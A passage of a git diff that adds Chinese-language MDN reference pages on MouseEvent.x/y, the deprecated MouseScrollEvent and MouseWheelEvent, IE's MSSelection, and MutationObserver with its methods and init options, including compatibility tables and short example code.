返回值

+ +

表示一个特定按键的数字:

+ + + +

如果鼠标被设置为适用于左利手人士使用,那么引发的动作恰好相反。在这种情况下,该值应该从右往左看。

+ +

规范

+ +

无规范定义该属性。

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1)}}[1]1.09.05.01.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{ CompatGeckoMobile(1) }} [1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] 在 {{event("mousemove")}} 事件对象上, which 属性被错误地设定为 1 {{bug(1048294)}}.

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/mouseevent/x/index.html b/files/zh-cn/web/api/mouseevent/x/index.html new file mode 100644 index 0000000000..bd2e29dd21 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/x/index.html @@ -0,0 +1,79 @@ +--- +title: MouseEvent.x +slug: Web/API/MouseEvent/x +translation_of: Web/API/MouseEvent/x +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

MouseEvent.x 是 {{domxref("MouseEvent.clientX")}} 属性的别名.

+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-mouseevent-x', 'MouseEvent.x')}}{{Spec2('CSSOM View')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(53)}}{{CompatVersionUnknown}}6{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/mouseevent/y/index.html b/files/zh-cn/web/api/mouseevent/y/index.html new file mode 100644 index 0000000000..e7dfc7bd85 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/y/index.html @@ -0,0 +1,83 @@ +--- +title: MouseEvent.y +slug: Web/API/MouseEvent/y +tags: + - API + - 只读属性 + - 鼠标事件 +translation_of: Web/API/MouseEvent/y +--- +

{{APIRef}}{{SeeCompatTable}}

+ +

MouseEvent.y 属性是 {{domxref("MouseEvent.clientY")}} 属性的别称。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-mouseevent-y', 'MouseEvent.y')}}{{Spec2('CSSOM View')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(53)}}{{CompatVersionUnknown}}6{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/mousescrollevent/index.html b/files/zh-cn/web/api/mousescrollevent/index.html new file mode 100644 index 0000000000..fc33ef0681 --- /dev/null +++ b/files/zh-cn/web/api/mousescrollevent/index.html @@ -0,0 +1,159 @@ +--- +title: MouseScrollEvent +slug: Web/API/MouseScrollEvent +translation_of: Web/API/MouseScrollEvent +--- +

{{APIRef("DOM Events")}}{{ non-standard_header() }}{{deprecated_header}}

+ +

MouseScrollEvent事件对象代表了当用户在滚动鼠标滚轮或操作其他类似的输入设备时触发的事件.

+ +

要优先使用标准化过的WheelEvent来代替该陈旧的事件对象.

+ +

方法概述

+ + + + + + + +
void initMouseScrollEvent(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in nsIDOMAbstractView viewArg, in long detailArg, in long screenXArg, in long screenYArg, in long clientXArg, in long clientYArg, in boolean ctrlKeyArg, in boolean altKeyArg, in boolean shiftKeyArg, in boolean metaKeyArg, in unsigned short buttonArg, in nsIDOMEventTarget relatedTargetArg, in long axis);
+ +

属性

+ + + + + + + + + + + + + + +
名称 +

类型

+
描述
axislong表明鼠标滚轮滚动的方向. 只读.
+ +

常量

+ +

Delta 模式

+ + + + + + + + + + + + + + + + + + + +
名称描述
HORIZONTAL_AXIS0x01该事件是由鼠标滚轮的横向滚动触发的
VERTICAL_AXIS0x02该事件是由鼠标滚轮的纵向滚动触发的
+ +

方法

+ +

initMouseScrollEvent()

+ +

查看 nsIDOMMouseScrollEvent::initMouseScrollEvent().

+ +

滚轮相关事件对比

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
事件类型事件对象是否标准兼容性
mousewheelMouseWheelEvent非标准只有Firefox不支持
DOMMouseScrollMouseScrollEvent非标准只有Firefox支持
wheelWheelEventDOM Level 3Firefox 17+ ie9+
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatGeckoDesktop("1.9.1") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatGeckoMobile("1.9.1") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/mousewheelevent/index.html b/files/zh-cn/web/api/mousewheelevent/index.html new file mode 100644 index 0000000000..63a87505a9 --- /dev/null +++ b/files/zh-cn/web/api/mousewheelevent/index.html @@ -0,0 +1,119 @@ +--- +title: MouseWheelEvent +slug: Web/API/MouseWheelEvent +translation_of: Web/API/MouseWheelEvent +--- +

{{APIRef("DOM Events")}}{{ Non-standard_header() }}{{deprecated_header}}

+ +

{{ note("由于该事件对象是非标准的,所以Gecko并不准备实现它.") }}

+ +

MouseWheelEvent事件对象代表了当用户在滚动鼠标滚轮时触发的事件.

+ +

要优先使用标准化过的WheelEvent来代替该陈旧的事件对象.

+ +

属性

+ + + + + + + + + + + + + + +
名称类型描述
wheelDeltalong滚动的距离,以像素为单位 (由MSDN定义,但实际的用法不同, 查看mousewheel. 只读.
+ +

滚轮相关事件对比

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
事件类型事件对象是否标准兼容性
mousewheelMouseWheelEvent非标准只有Firefox不支持
DOMMouseScrollMouseScrollEvent非标准只有Firefox支持
wheelWheelEventDOM Level 3Firefox 17+ ie9+
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{ CompatNo() }}{{ CompatIE("6.0") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/msselection/index.html b/files/zh-cn/web/api/msselection/index.html new file mode 100644 index 0000000000..5760848324 --- /dev/null +++ b/files/zh-cn/web/api/msselection/index.html @@ -0,0 +1,103 @@ +--- +title: MSSelection +slug: Web/API/MSSelection +tags: + - API + - DHTML + - DOM + - MSSelection +--- +
{{ ApiRef("DOM") }}{{Non-standard_Header}}
+ +
+

IE Only

+该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。
+ +

MSSelection 对象表示用户选择的文本范围或插入光标(Caret)的当前位置,类似于标准定义的 {{domxref("Selection")}} 接口。它主要通过配套的 {{domxref("TextRange")}} 接口进行操作。

+ +

该接口从IE4开始实现,但直到IE9时添加了对标准 Selection 接口的支持时,为了区分它才被命名为 MSSelection。可供修改和使用的 MSSelection 可通过 {{domxref("document.selection")}} 属性获取,但是这在IE11被彻底移除。

+ +

注意,在非IE浏览器不支持该接口,可使用替代的标准 {{domxref("Selection")}} 接口。

+ +

属性

+ +
+
{{domxref("MSSelection.type")}}{{ReadOnlyInline}}
+
+

返回选中区域的类型。

+
+
+ +

方法

+ +
+
{{domxref("MSSelection.empty()")}}
+
取消当前选中区,将选中区类型设置为 none
+
{{domxref("MSSelection.clear()")}}
+
清除选中区的内容,将选中区类型设置为 none。注意,该方法可以删除不可编辑的元素。
+
{{domxref("MSSelection.createRange()")}}
+
在当前选中区上创建并返回一个 TextRange,其内容和当前选区一致。返回的区域在修改时不会直接作用到选区上,除非使用 {{domxref("TextRange.select()")}} 方法。
+
{{domxref("MSSelection.createRangeCollection()")}}
+
返回一个 {{domxref("TextRangeCollection")}},该集合包含选区中所有区域对应的 TextRange。注意该对象不是一个 {{jsxref("Array")}},且IE中的Web网页不支持多个选区,因此它总是返回单个对象的集合。
+
+ +

示例

+ +

以下示例在IE10以下有效。该示例通过 document.selection 获取 MSSelection 对象,并清空选区中的内容。

+ +
var sel = document.selection;
+sel.clear();
+ +

开发者笔记

+ +

使用 TextRange 操作选中区域

+ +
+

仅在IE9以下有效。在浏览器允许的情况下,应优先使用 {{domxref("Selection")}} 接口。

+
+ +

{{domxref("document.selection")}} 属性返回一个 MSSelection 对象,selection.createRange() 方法创建一个和当前选中区域一致的 {{domxref("TextRange")}} 对象。

+ +
var sel = document.selection;
+var range = sel.createRange();
+alert(range.text);
+// 输出被选区域的纯文本
+ +

注意,createRange 方法并不创建引用,如果希望通过该方法修改选中区域,则需要调用 TextRange.select 方法。

+ +

selection 兼容性

+ +

document.selection 属性返回当前文档的 MSSelection 对象。标准规定一个窗口/文档可能有多个不相邻选区,但只有Firefox实现通过 Ctrl 选中多个区域;IE中一般也只允许文档只存在一个被选中的 TextRange

+ +

然而,在其它浏览器中,document 并不存在一个所谓 selection 属性——它们通过标准 Selection API 实现对选区的操作,也就是通过 window.getSelection() 方法获取 {{domxref("Selection")}} 对象,并使用标准的 {{domxref("Range")}} 对象对文本片段作出处理。IE11及之后的版本也放弃了 document.selection 对象而转为使用标准接口(尽管 TextRange 一直保留,但大多数情况下它已失去作用)。

+ +

这很容易引起迷惑。通常,如果脚本只要求兼容最新的浏览器,那么标准的接口是最佳的选择;但通常目前的网站仍希望兼容IE8或其以下的浏览器,因此,最好的做法是同时处理两者,也就是在不支持标准接口时尝试使用 MSSelection 方式,但不要把该方式作为唯一的选择。

+ +

浏览器兼容性

+ + + + + + + + + + + + + + + + + + +
IE其它浏览器
{{domxref("MSSelection")}} {{non-standard_inline()}}≤10(IE9后应使用标准API)不支持(详见Selection API
+ +

扩展

+ + diff --git a/files/zh-cn/web/api/mutationobserver/disconnect/index.html b/files/zh-cn/web/api/mutationobserver/disconnect/index.html new file mode 100644 index 0000000000..7de675ca81 --- /dev/null +++ b/files/zh-cn/web/api/mutationobserver/disconnect/index.html @@ -0,0 +1,74 @@ +--- +title: MutationObserver.disconnect() +slug: Web/API/MutationObserver/disconnect +translation_of: Web/API/MutationObserver/disconnect +--- +
{{APIRef("DOM WHATWG")}}
+ +

{{domxref("MutationObserver")}} 的 disconnect() 方法告诉观察者停止观察变动。 可以通过调用其{{domxref("MutationObserver.observe", "observe()")}}方法来重用观察者。

+ + + +

语法

+ +
mutationObserver.disconnect()
+
+ +

参数

+ +

无。

+ +

返回值

+ +

undefined.

+ +
+

注意: 所有已经检测到但是尚未向观察者报告的变动都会被丢弃。

+
+ +

使用说明

+ +

如果被观察的元素被从DOM中移除,然后被浏览器的垃圾回收机制释放,此MutationObserver将同样被删除。

+ +

示例

+ +

下面的示例创建了一个观察者,接着与之断开连接,让它可以重复使用。

+ +
var targetNode = document.querySelector("#someElement");
+var observerOptions = {
+  childList: true,
+  attributes: true
+}
+
+var observer = new MutationObserver(callback);
+observer.observe(targetNode, observerOptions);
+
+/* some time later... */
+
+observer.disconnect();
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态批注
{{SpecName('DOM WHATWG', '#dom-mutationobserver-disconnect', 'MutationObserver.disconnect()')}}{{ Spec2('DOM WHATWG') }} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.MutationObserver.disconnect")}}

diff --git a/files/zh-cn/web/api/mutationobserver/index.html b/files/zh-cn/web/api/mutationobserver/index.html new file mode 100644 index 0000000000..21cd5d2ffc --- /dev/null +++ b/files/zh-cn/web/api/mutationobserver/index.html @@ -0,0 +1,110 @@ +--- +title: MutationObserver +slug: Web/API/MutationObserver +tags: + - API + - Advanced + - DOM + - DOM Reference + - MutationObserver + - requestAnimationFrame + - resize +translation_of: Web/API/MutationObserver +--- +

{{APIRef("DOM WHATWG")}}

+ +

{{domxref("MutationObserver")}}接口提供了监视对DOM树所做更改的能力。它被设计为旧的Mutation Events功能的替代品,该功能是DOM3 Events规范的一部分。

+ +

构造函数

+ +
+
{{domxref("MutationObserver.MutationObserver", "MutationObserver()")}}
+
创建并返回一个新的 MutationObserver 它会在指定的DOM发生变化时被调用。
+
+ +

方法

+ +
+
{{domxref("MutationObserver.disconnect", "disconnect()")}}
+
阻止 MutationObserver 实例继续接收的通知,直到再次调用其{{domxref("MutationObserver.observe", "observe()")}}方法,该观察者对象包含的回调函数都不会再被调用。
+
{{domxref("MutationObserver.observe", "observe()")}}
+
配置MutationObserver在DOM更改匹配给定选项时,通过其回调函数开始接收通知。
+
{{domxref("MutationObserver.takeRecords", "takeRecords()")}}
+
从MutationObserver的通知队列中删除所有待处理的通知,并将它们返回到{{domxref("MutationRecord")}}对象的新{{jsxref("Array")}}中。
+
+ +

Mutation Observer & customize resize event listener & demo

+ +

https://codepen.io/webgeeker/full/YjrZgg/

+ +

示例

+ +

以下示例改编自这篇博客

+ +
// 选择需要观察变动的节点
+const targetNode = document.getElementById('some-id');
+
+// 观察器的配置(需要观察什么变动)
+const config = { attributes: true, childList: true, subtree: true };
+
+// 当观察到变动时执行的回调函数
+const callback = function(mutationsList, observer) {
+    // Use traditional 'for loops' for IE 11
+    for(let mutation of mutationsList) {
+        if (mutation.type === 'childList') {
+            console.log('A child node has been added or removed.');
+        }
+        else if (mutation.type === 'attributes') {
+            console.log('The ' + mutation.attributeName + ' attribute was modified.');
+        }
+    }
+};
+
+// 创建一个观察器实例并传入回调函数
+const observer = new MutationObserver(callback);
+
+// 以上述配置开始观察目标节点
+observer.observe(targetNode, config);
+
+// 之后,可停止观察
+observer.disconnect();
+
+ + + +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}}{{ Spec2('DOM WHATWG') }}
+ +

浏览器兼容

+ + + +

{{Compat("api.MutationObserver")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/mutationobserver/mutationobserver/index.html b/files/zh-cn/web/api/mutationobserver/mutationobserver/index.html new file mode 100644 index 0000000000..efa1d1a8f0 --- /dev/null +++ b/files/zh-cn/web/api/mutationobserver/mutationobserver/index.html @@ -0,0 +1,101 @@ +--- +title: MutationObserver.MutationObserver() +slug: Web/API/MutationObserver/MutationObserver +tags: + - API + - Constructor + - DOM + - MutationObserver + - 参考 + - 构造器 +translation_of: Web/API/MutationObserver/MutationObserver +--- +
{{APIRef("DOM WHATWG")}}
+ +

DOM 规范中的 MutationObserver() 构造函数——是 {{domxref("MutationObserver")}} 接口内容的一部分——创建并返回一个新的观察器,它会在触发指定 DOM 事件时,调用指定的回调函数。MutationObserver 对 DOM 的观察不会立即启动;而必须先调用 {{domxref("MutationObserver.observe", "observe()")}} 方法来确定,要监听哪一部分的 DOM 以及要响应哪些更改。

+ +

语法

+ +
var observer = new MutationObserver(callback);
+ +

参数

+ +
+
  callback
+
一个回调函数,每当被指定的节点或子树以及配置项有Dom变动时会被调用。回调函数拥有两个参数:一个是描述所有被触发改动的 {{domxref("MutationRecord")}} 对象数组,另一个是调用该函数的MutationObserver 对象。参见下方的{{anch("Example", "示例")}}了解更多细节  
+
+ +

返回值

+ +

一个新的、包含监听 DOM 变化回调函数的 {{domxref("MutationObserver")}} 对象。

+ +

示例

+ +

这个例子简单地创建了一个新的 MutationObserver ,监视一个节点及其全部子节点树的添加、移除元素,以及任何属性变化的事件。

+ +

回调函数

+ +
function callback(mutationList, observer) {
+  mutationList.forEach((mutation) => {
+    switch(mutation.type) {
+      case 'childList':
+        /* 从树上添加或移除一个或更多的子节点;参见 mutation.addedNodes 与
+           mutation.removedNodes */
+        break;
+      case 'attributes':
+        /* mutation.target 中某节点的一个属性值被更改;该属性名称在 mutation.attributeName 中,
+           该属性之前的值为 mutation.oldValue */
+        break;
+    }
+  });
+}
+
+ +

调用 {{domxref("MutationObserver.observe", "observe()")}} 即可开始观察 DOM。当观察者 observer 发现匹配观察请求中指定的配置项的更改时,callback() 方法便会被调用。

+ +

使用 {{domxref("MutationRecord.type", "mutation.type")}} 获取发生的变动类别(无论是子节点的变动,还是节点属性的变动)。

+ +

创建并使用 observer

+ +

使用以下代码设置一个观察进程。

+ +
var targetNode = document.querySelector("#someElement");
+var observerOptions = {
+  childList: true,  // 观察目标子节点的变化,是否有添加或者删除
+  attributes: true, // 观察属性变动
+  subtree: true     // 观察后代节点,默认为 false
+}
+
+var observer = new MutationObserver(callback);
+observer.observe(targetNode, observerOptions);
+ +

使用 ID someElement 来获取目标节点树。 observerOptions 中设定了观察者的选项,通过设定 childList 和 attributes 为 true 来获取所需信息。

+ +

当 observer 实例化时,指定 callback() 函数。之后指定目标节点与记录选项,我们开始观察使用 observe() 指定的 DOM 节点。

+ +

从现在开始直到调用 {{domxref("MutationObserver.disconnect", "disconnect()")}} ,每次以 targetNode 为根节点的 DOM 树添加或移除元素时,以及这些元素的任意属性改变时,callback() 都会被调用。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('DOM WHATWG', '#dom-mutationobserver-mutationobserver', 'MutationObserver()')}}{{ Spec2('DOM WHATWG') }}
+ +

浏览器兼容性

+ + + +

{{Compat("api.MutationObserver.MutationObserver")}}

diff --git a/files/zh-cn/web/api/mutationobserver/observe/index.html b/files/zh-cn/web/api/mutationobserver/observe/index.html new file mode 100644 index 0000000000..5c6f18ba94 --- /dev/null +++ b/files/zh-cn/web/api/mutationobserver/observe/index.html @@ -0,0 +1,110 @@ +--- +title: MutationObserver.observe() +slug: Web/API/MutationObserver/observe +tags: + - API + - DOM + - MutationObserver + - Node + - 参考 + - 变化 + - 方法 +translation_of: Web/API/MutationObserver/observe +--- +
{{APIRef("DOM WHATWG")}}
+ +

{{domxref("MutationObserver")}}的 observe() 方法配置了 MutationObserver 对象的回调方法以开始接收与给定选项匹配的DOM变化的通知。根据配置,观察者会观察 DOM 树中的单个 {{domxref("Node")}},也可能会观察被指定节点的部分或者所有的子孙节点。

+ +

要停止 MutationObserver(以便不再触发它的回调方法),需要调用{{domxref("MutationObserver.disconnect()")}}方法。

+ +

语法

+ +
mutationObserver.observe(target[, options])
+
+ +

参数

+ +
+
target
+
DOM树中的一个要观察变化的DOM {{domxref("Node")}} (可能是一个{{domxref("Element")}}) , 或者是被观察的子节点树的根节点。
+
options {{optional_inline}}
+
一个可选的{{domxref("MutationObserverInit")}} 对象,此对象的配置项描述了DOM的哪些变化应该提供给当前观察者的callback
+
+ +

返回值

+ +

undefined

+ +

异常

+ +
+
TypeError
+
以下任一情况都会抛出异常: +
    +
  • 配置选项使得实际上不会监视任何内容(例如,如果 {{domxref("MutationObserverInit.childList")}},{{domxref("MutationObserverInit.attributes")}} 和 {{domxref("MutationObserverInit.characterData")}} 都为 false)。
  • +
  • attributes 选项为 false(表示不监视属性更改)但是attributeOldValue 为 true 并且/或者 attributeFilter 配置存在。
  • +
  • {{domxref("MutaitonObserverInit.characterDataOldValue", "characterDataOldValue")}} 选项为 true 但是 {{domxref("MutationObserverInit.characterData")}} 为 false(表示不跟踪字符更改)。
  • +
+
+
+ +

使用说明

+ +

复用 MutationObserver

+ +

你可以多次调用同一个 MutationObserver 对象的 observe() 方法,来观察 DOM 树中不同部分的变化,和/或不同类型的变化。有一些需要注意的注意事项:

+ + + +

当节点断开连接时继续观察节点

+ +

MutationObserver 旨在让您能够随着时间的推移观察所需的节点集,即使这些节点之间的直接连接被切断。如果你开始观察节点的子树,并且该子树的一部分被分离并移动到DOM中的其他位置,你将继续观察分离的节点段,接收与节点从原始子树分离之前相同的回调。

+ +

换句话说,在你收到有关节点从被观察子树中拆分的通知之前,你将收到有关该拆分子树及其节点的更改的通知。这可以防止你丢失在切断连接之后以及在你有机会专门开始观察已移动的节点或子树之前发生的变化。

+ +

这意味着理论上如果你跟踪描述发生的变化的{{domxref("MutationRecord")}}对象,你就可以“撤销”这些改动,将DOM恢复到初始状态。

+ +

示例

+ +

在此例子中,将为你演示如何在实例 {{domxref("MutationObserver")}} 中调用observe() 方法,一旦设置后,会传给他一个目标元素和一个 {{domxref("MutationObserverInit")}} 配置对象。

+ +
// 得到要观察的元素
+var elementToObserve = document.querySelector("#targetElementId");
+
+// 创建一个叫 `observer` 的新 `MutationObserver` 实例,
+// 并将回调函数传给它
+var observer = new MutationObserver(function() {
+    console.log('callback that runs when observer is triggered');
+});
+
+// 在 MutationObserver 实例上调用 `observe` 方法,
+// 并将要观察的元素与选项传给此方法
+observer.observe(elementToObserve, {subtree: true, childList: true});
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-mutationobserver-observe', 'MutationObserver.observe()')}}{{ Spec2('DOM WHATWG') }}
+ +

浏览器兼容性

+ + + +

{{Compat("api.MutationObserver.observe")}}

diff --git a/files/zh-cn/web/api/mutationobserver/takerecords/index.html b/files/zh-cn/web/api/mutationobserver/takerecords/index.html new file mode 100644 index 0000000000..b6ad1c65fc --- /dev/null +++ b/files/zh-cn/web/api/mutationobserver/takerecords/index.html @@ -0,0 +1,81 @@ +--- +title: MutationObserver.takeRecords() +slug: Web/API/MutationObserver/takeRecords +translation_of: Web/API/MutationObserver/takeRecords +--- +
{{APIRef("DOM WHATWG")}}
+ +

{{domxref("MutationObserver")}} 的 takeRecords() 方法返回已检测到但尚未由观察者的回调函数处理的所有匹配DOM更改的列表,使变更队列保持为空。 此方法最常见的使用场景是在断开观察者之前立即获取所有未处理的更改记录,以便在停止观察者时可以处理任何未处理的更改。

+ + + +

语法

+ +
mutationRecords = mutationObserver.takeRecords()
+
+ +

参数

+ +

无。

+ +

返回值

+ +

返回一个{{domxref("MutationRecord")}} 对象列表,每个对象都描述了应用于DOM树某部分的一次改动。

+ +
+

注意: 调用takeRecords()后,已发生但未传递给回调的变更队列将保留为空。

+
+ +

示例

+ +

下面的示例展示了在断开观察者之前如何通过调用takeRecords()来处理任何未传递的{{domxref("MutationRecord")}}。

+ +
var targetNode = document.querySelector("#someElement");
+var observerOptions = {
+  childList: true,
+  attributes: true
+}
+
+var observer = new MutationObserver(callback);
+observer.observe(targetNode, observerOptions);
+
+/* ...later, when it's time to stop observing... */
+
+/* handle any still-pending mutations */
+
+var mutations = observer.takeRecords();
+
+if (mutations) {
+  callback(mutations);
+}
+
+observer.disconnect();
+
+ +

代码中第12-17行抓取了所有未处理的变更记录,然后调用回调,并将变更记录列表传递给回调,以保证所有变更记录都被处理。这是在调用{{domxref("MutationObserver.disconnect", "disconnect()")}}之前完成的,以便停止观察DOM。 

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态批注
{{SpecName('DOM WHATWG', '#dom-mutationobserver-takerecords', 'MutationObserver.takeRecords()')}}{{ Spec2('DOM WHATWG') }} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.MutationObserver.takeRecords")}}

diff --git a/files/zh-cn/web/api/mutationobserverinit/attributefilter/index.html b/files/zh-cn/web/api/mutationobserverinit/attributefilter/index.html new file mode 100644 index 0000000000..2855c3ee78 --- /dev/null +++ b/files/zh-cn/web/api/mutationobserverinit/attributefilter/index.html @@ -0,0 +1,96 @@ +--- +title: MutationObserverInit.attributeFilter +slug: Web/API/MutationObserverInit/attributeFilter +tags: + - API + - DOM + - DOM WHATWG + - Mutation Observers + - MutationObserverInit + - 变化 + - 属性 + - 属性过滤器 + - 监听器 +translation_of: Web/API/MutationObserverInit/attributeFilter +--- +
{{APIRef("DOM WHATWG")}}
+ +

{{domxref("MutationObserverInit")}} 字典的可选属性 attributeFilter 是一个字符串数组,用于指定要监听变化的属性名称。 如果指定了该属性,则 {{domxref("MutationObserverInit.attributes", "attributes")}} 无论是否为 true,属性监听都将启用。

+ +

如果属性 {{domxref("MutationObserverInit.attributes", "attributes")}} 设置为 true ,但options对象中未包含 attributeFilter ,则所有属性的变化都会被监听。

+ +

语法

+ +
var options = {
+  attributeFilter: [ "list", "of", "attribute", "names" ]
+}
+
+ +

+ +

{{domxref("DOMString")}}数组, 每项指定一个要监听其变化的属性名称,没有默认值。

+ +

当使用构造函数{{domxref("MutationObserver.MutationObserver", "MutationObserver()")}}创建MutationObserver对象时,如果options对象中存在该属性,则无论{{domxref("MutationObserverInit.attributes", "attributes")}}是否为true,都将启用属性监听。

+ +

示例

+ +

在本示例中,设置了一个变化监听器来监听用于显示聊天室用户名的子树中所有元素的statususername属性的变化。这样就可以反应用户昵称或状态的更改, 例如,可以将用户标记为离开或离线。

+ +
function callback(mutationList) {
+  mutationList.forEach(function(mutation) {
+    switch(mutation.type) {
+      case "attributes":
+        switch(mutation.attributeName) {
+          case "status":
+            userStatusChanged(mutation.target.username, mutation.target.status);
+            break;
+          case "username":
+            usernameChanged(mutation.oldValue, mutation.target.username);
+            break;
+        }
+        break;
+    }
+  });
+}
+
+var userListElement = document.querySelector("#userlist");
+
+var observer = new MutationObserver(callback);
+observer.observe(userListElement, {
+  attributeFilter: [ "status", "username" ],
+  attributeOldValue: true,
+  subtree: true
+});
+ +

callback()函数将在监听器启动时传给{{domxref("MutationObserver.observe", "observe()")}}方法,用来检查{{domxref("MutationRecord")}}对象的每一项。对于代表属性更改的任何项(可以通过{{domxref("MutationRecord.type")}}的值为“ attributes”的值来检测),我们使用通过{{domxref("MutationRecord.attributeName")}}获得的属性名称来识别发生的更改的类型,然后将其分派给适当的处理函数。

+ +

请注意,在查找本地用户数组时可以使用{{domxref("MutationRecord.oldValue")}}来获取username的上一个值。

+ +

当observe()被调用时, options对象中指定了attributeFilter和{{domxref("MutationObserverInit.subtree", "subtree")}},所以id为“userlist”的元素的所有子树的所有节点的属性值都会被监听。{{domxref("MutationObserverInit.attributeOldValue", "attributeOldValue")}}被设置为true,因为我们希望在监听到值变化时可以获取到上一个值。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('DOM WHATWG', '#dom-mutationobserverinit-attributefilter', 'MutationObserverInit: attributeFilter')}}{{ Spec2('DOM WHATWG') }}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.MutationObserverInit.attributeFilter")}}

+
diff --git a/files/zh-cn/web/api/mutationobserverinit/childlist/index.html b/files/zh-cn/web/api/mutationobserverinit/childlist/index.html new file mode 100644 index 0000000000..71574b7cea --- /dev/null +++ b/files/zh-cn/web/api/mutationobserverinit/childlist/index.html @@ -0,0 +1,50 @@ +--- +title: MutationObserverInit.childList +slug: Web/API/MutationObserverInit/childList +translation_of: Web/API/MutationObserverInit/childList +--- +
{{APIRef("DOM WHATWG")}}
+ +

The {{domxref("MutationObserverInit")}} dictionary's optional childList property indicates whether or not to monitor the specified node or nodes for the addition or removal of new child nodes.

+ +

If childList is false (the default), adding or removing new nodes does not trigger mutation callbacks. By setting childList to true, your callback will be invoked any time nodes are added to or removed from the DOM node or nodes being watched.

+ +

Syntax

+ +
var options = {
+  childList: true | false
+}
+
+ +

Value

+ +

A Boolean value indicating whether or not to invoke the callback function when new nodes are added to or removed from the section of the DOM being monitored.. If {{domxref("MutationObserverInit.subtree", "subtree")}} is false, only the node indicated by the observer's target node is monitored for changes. Setting subtree to true causes addition or removal of nodes anywhere within the subtree rooted at target to be reported.

+ +

Example

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-mutationobserverinit-childlist', 'MutationObserverInit.childList')}}{{ Spec2('DOM WHATWG') }} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.MutationObserverInit.childList")}}

+
diff --git a/files/zh-cn/web/api/mutationobserverinit/index.html b/files/zh-cn/web/api/mutationobserverinit/index.html new file mode 100644 index 0000000000..bdd0ee8178 --- /dev/null +++ b/files/zh-cn/web/api/mutationobserverinit/index.html @@ -0,0 +1,60 @@ +--- +title: MutationObserverInit +slug: Web/API/MutationObserverInit +tags: + - API + - DOM + - MutationObserver +translation_of: Web/API/MutationObserverInit +--- +
{{APIRef("DOM WHATWG")}}
+ +

